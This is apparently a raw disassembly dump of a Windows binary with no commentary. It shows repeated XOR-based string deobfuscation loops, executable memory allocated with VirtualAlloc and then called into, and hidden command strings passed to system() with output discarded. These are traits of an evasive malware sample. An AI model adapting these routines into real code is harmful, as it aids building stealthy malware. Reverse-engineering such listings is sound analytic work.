movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400121f2
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140100f88]
mov qword [rdi + rax*8 + 0x1012c0], rsi
mov qword [rdi + rax*8 + 0x100f90], r8
inc rax
mov qword [0x140100f88], rax
lea rdx, [rbp + 0x260]
mov rcx, qword [r12]
call r8
nop
xor r15, r14
lea rax, [rbp + 0x69b8]
mov qword [rax], r15
lea rcx, [rbp + 0x2120]
call fcn.140022f30
nop
lea rcx, [rbp + 0x2100]
call fcn.140022f30
mov rdx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x268]
call fcn.140022d20
mov r12, rax
mov edx, listen
lea rcx, [rbp + 0x2140]
call fcn.140005630
mov r15, rax
lea rdx, [rbp + 0x6788]
lea rcx, [rsp + 0x64]
call fcn.14001ec60
mov r10, rax
cmp byte [rax + 0x38], 0
je 0x140012475
mov r8d, ebx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140012433
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov edx, dword [rbp + 0x68d0]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x38
jl 0x140012340
cmp r8d, 0x39
jge 0x140012475
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x39
jl 0x140012440
mov r8, r15
mov rdx, r10
lea rcx, [rbp + 0x2160]
call fcn.140023e40
nop
mov rcx, rax
call fcn.140022f20
mov qword [rbp + 0x270], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x68d0], xmm0
lea rax, [rbp + 0x69b8]
mov qword [rbp + 0x68d8], r14
mov qword [rbp + 0x68e0], rax
mov r15, qword [rax]
xor r15, r14
mov qword [rbp + 0x68d0], r15
mov qword [rax], rbx
mov ecx, ebx
mov rax, qword [0x1401012c0]
test rax, rax
je 0x140012500
mov rdx, rbx
cmp rax, rsi
je 0x1400124ef
inc ecx
mov edx, ecx
mov rax, qword [rdi + rcx*8 + 0x1012c0]
test rax, rax
jne 0x1400124d7
jmp 0x140012500
mov r8, qword [rdi + rdx*8 + 0x100f90]
test r8, r8
jne 0x1400125e1
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140012529
mov r8, rbx
jmp 0x1400125c0
mov rax, rsi
mov rcx, r8
mov rdx, r13
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140012532
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140100f88]
mov qword [rdi + rax*8 + 0x1012c0], rsi
mov qword [rdi + rax*8 + 0x100f90], r8
inc rax
mov qword [0x140100f88], rax
lea rdx, [rbp + 0x270]
mov rcx, qword [r12]
call r8
nop
xor r15, r14
lea rax, [rbp + 0x69b8]
mov qword [rax], r15
lea rcx, [rbp + 0x2160]
call fcn.140022f30
nop
lea rcx, [rbp + 0x2140]
call fcn.140022f30
mov rdx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x278]
call fcn.140022d20
mov r12, rax
mov edx, listen
lea rcx, [rbp + 0x2180]
call fcn.140005630
mov r15, rax
lea rdx, [rbp + 0x67c8]
lea rcx, [rsp + 0x65]
call fcn.14001eca0
mov r10, rax
cmp byte [rax + 0x38], 0
je 0x1400127b5
mov r8d, ebx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140012773
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov edx, dword [rbp + 0x68d0]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x38
jl 0x140012680
cmp r8d, 0x39
jge 0x1400127b5
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x39
jl 0x140012780
mov r8, r15
mov rdx, r10
lea rcx, [rbp + 0x21a0]
call fcn.140023e40
nop
mov rcx, rax
call fcn.140022f20
mov qword [rbp + 0x280], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x68d0], xmm0
lea rax, [rbp + 0x69b8]
mov qword [rbp + 0x68d8], r14
mov qword [rbp + 0x68e0], rax
mov r15, qword [rax]
xor r15, r14
mov qword [rbp + 0x68d0], r15
mov qword [rax], rbx
mov ecx, ebx
mov rax, qword [0x1401012c0]
test rax, rax
je 0x140012840
mov rdx, rbx
cmp rax, rsi
je 0x14001282f
inc ecx
mov edx, ecx
mov rax, qword [rdi + rcx*8 + 0x1012c0]
test rax, rax
jne 0x140012817
jmp 0x140012840
mov r8, qword [rdi + rdx*8 + 0x100f90]
test r8, r8
jne 0x140012921
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140012869
mov r8, rbx
jmp 0x140012900
mov rax, rsi
mov rcx, r8
mov rdx, r13
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140012872
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140100f88]
mov qword [rdi + rax*8 + 0x1012c0], rsi
mov qword [rdi + rax*8 + 0x100f90], r8
inc rax
mov qword [0x140100f88], rax
lea rdx, [rbp + 0x280]
mov rcx, qword [r12]
call r8
nop
xor r15, r14
lea rax, [rbp + 0x69b8]
mov qword [rax], r15
lea rcx, [rbp + 0x21a0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x2180]
call fcn.140022f30
mov rdx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x288]
call fcn.140022d20
mov r12, rax
mov edx, listen
lea rcx, [rbp + 0x21c0]
call fcn.140005630
mov r15, rax
lea rdx, [rbp + 0x6808]
lea rcx, [rsp + 0x66]
call fcn.14001ece0
mov r10, rax
cmp byte [rax + 0x38], 0
je 0x140012af5
mov r8d, ebx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140012ab3
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov edx, dword [rbp + 0x68d0]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x38
jl 0x1400129c0
cmp r8d, 0x39
jge 0x140012af5
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x39
jl 0x140012ac0
mov r8, r15
mov rdx, r10
lea rcx, [rbp + 0x21e0]
call fcn.140023e40
nop
mov rcx, rax
call fcn.140022f20
mov qword [rbp + 0x290], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x68d0], xmm0
lea rax, [rbp + 0x69b8]
mov qword [rbp + 0x68d8], r14
mov qword [rbp + 0x68e0], rax
mov r15, qword [rax]
xor r15, r14
mov qword [rbp + 0x68d0], r15
mov qword [rax], rbx
mov ecx, ebx
mov rax, qword [0x1401012c0]
test rax, rax
je 0x140012b80
mov rdx, rbx
cmp rax, rsi
je 0x140012b6f
inc ecx
mov edx, ecx
mov rax, qword [rdi + rcx*8 + 0x1012c0]
test rax, rax
jne 0x140012b57
jmp 0x140012b80
mov r8, qword [rdi + rdx*8 + 0x100f90]
test r8, r8
jne 0x140012c5f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140012ba9
mov r8, rbx
jmp 0x140012c3e
mov rax, rsi
mov rcx, r8
nop
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub r13, 1
jne 0x140012bb0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140100f88]
mov qword [rdi + rax*8 + 0x1012c0], rsi
mov qword [rdi + rax*8 + 0x100f90], r8
inc rax
mov qword [0x140100f88], rax
lea rdx, [rbp + 0x290]
mov rcx, qword [r12]
call r8
nop
xor r15, r14
lea rax, [rbp + 0x69b8]
mov qword [rax], r15
lea rcx, [rbp + 0x21e0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x21c0]
call fcn.140022f30
mov edx, 4
lea rcx, [rbp + 0x2200]
call fcn.140005630
mov rdi, rax
mov edx, 4
lea rcx, [rbp + 0x2220]
call fcn.140005630
mov rsi, rax
lea rdx, [rbp + 0x50a8]
lea rcx, [rsp + 0x67]
call fcn.14001ed20
mov r10, rax
mov r14d, dword [reloc.WS2_32.dll_accept]
cmp byte [rax + 0x2c], 0
je 0x140012e35
mov r8d, ebx
cmp r14d, 2
jl 0x140012df3
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov edx, dword [rbp + 0x68d0]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140012d00
cmp r8d, 0x2d
jge 0x140012e35
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x140012e00
mov r8, rsi
mov rdx, r10
lea rcx, [rbp + 0x2240]
call fcn.140023e40
nop
lea r8, [0x1400eb294]
mov rdx, rax
lea rcx, [rbp + 0x2260]
call fcn.140023960
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x2280]
call fcn.1400239d0
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x22a0]
call fcn.140023960
mov rcx, rax
call fcn.140022f20
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x22a0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x2280]
call fcn.140022f30
nop
lea rcx, [rbp + 0x2260]
call fcn.140022f30
nop
lea rcx, [rbp + 0x2240]
call fcn.140022f30
nop
lea rcx, [rbp + 0x2220]
call fcn.140022f30
nop
lea rcx, [rbp + 0x2200]
call fcn.140022f30
mov edx, 4
lea rcx, [rbp + 0x22c0]
call fcn.140005630
mov rdi, rax
mov edx, 4
lea rcx, [rbp + 0x22e0]
call fcn.140005630
mov rsi, rax
lea rdx, [rbp + 0x50d8]
lea rcx, [rsp + 0x68]
call fcn.14001ed60
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x140013085
mov r8d, ebx
cmp r14d, 2
jl 0x140013043
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov edx, dword [rbp + 0x68d0]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140012f50
cmp r8d, 0x2d
jge 0x140013085
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x140013050
mov r8, rsi
mov rdx, r10
lea rcx, [rbp + 0x2300]
call fcn.140023e40
nop
lea r8, [0x1400eb294]
mov rdx, rax
lea rcx, [rbp + 0x2320]
call fcn.140023960
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x2340]
call fcn.1400239d0
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x2360]
call fcn.140023960
mov rcx, rax
call fcn.140022f20
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2360]
call fcn.140022f30
nop
lea rcx, [rbp + 0x2340]
call fcn.140022f30
nop
lea rcx, [rbp + 0x2320]
call fcn.140022f30
nop
lea rcx, [rbp + 0x2300]
call fcn.140022f30
nop
lea rcx, [rbp + 0x22e0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x22c0]
call fcn.140022f30
mov edx, 4
lea rcx, [rbp + 0x2380]
call fcn.140005630
mov rdi, rax
mov edx, 4
lea rcx, [rbp + 0x23a0]
call fcn.140005630
mov rsi, rax
lea rdx, [rbp + 0x5108]
lea rcx, [rsp + 0x69]
call fcn.14001eda0
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x1400132d5
mov r8d, ebx
cmp r14d, 2
jl 0x140013293
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov edx, dword [rbp + 0x68d0]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x1400131a0
cmp r8d, 0x2d
jge 0x1400132d5
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x1400132a0
mov r8, rsi
mov rdx, r10
lea rcx, [rbp + 0x23c0]
call fcn.140023e40
nop
lea r8, [0x1400eb294]
mov rdx, rax
lea rcx, [rbp + 0x23e0]
call fcn.140023960
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x2400]
call fcn.1400239d0
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x2420]
call fcn.140023960
mov rcx, rax
call fcn.140022f20
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2420]
call fcn.140022f30
nop
lea rcx, [rbp + 0x2400]
call fcn.140022f30
nop
lea rcx, [rbp + 0x23e0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x23c0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x23a0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x2380]
call fcn.140022f30
mov edx, 4
lea rcx, [rbp + 0x2440]
call fcn.140005630
mov rdi, rax
mov edx, 4
lea rcx, [rbp + 0x2460]
call fcn.140005630
mov rsi, rax
lea rdx, [rbp + 0x5138]
lea rcx, [rsp + 0x6a]
call fcn.14001ede0
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x140013525
mov r8d, ebx
cmp r14d, 2
jl 0x1400134e3
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov edx, dword [rbp + 0x68d0]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
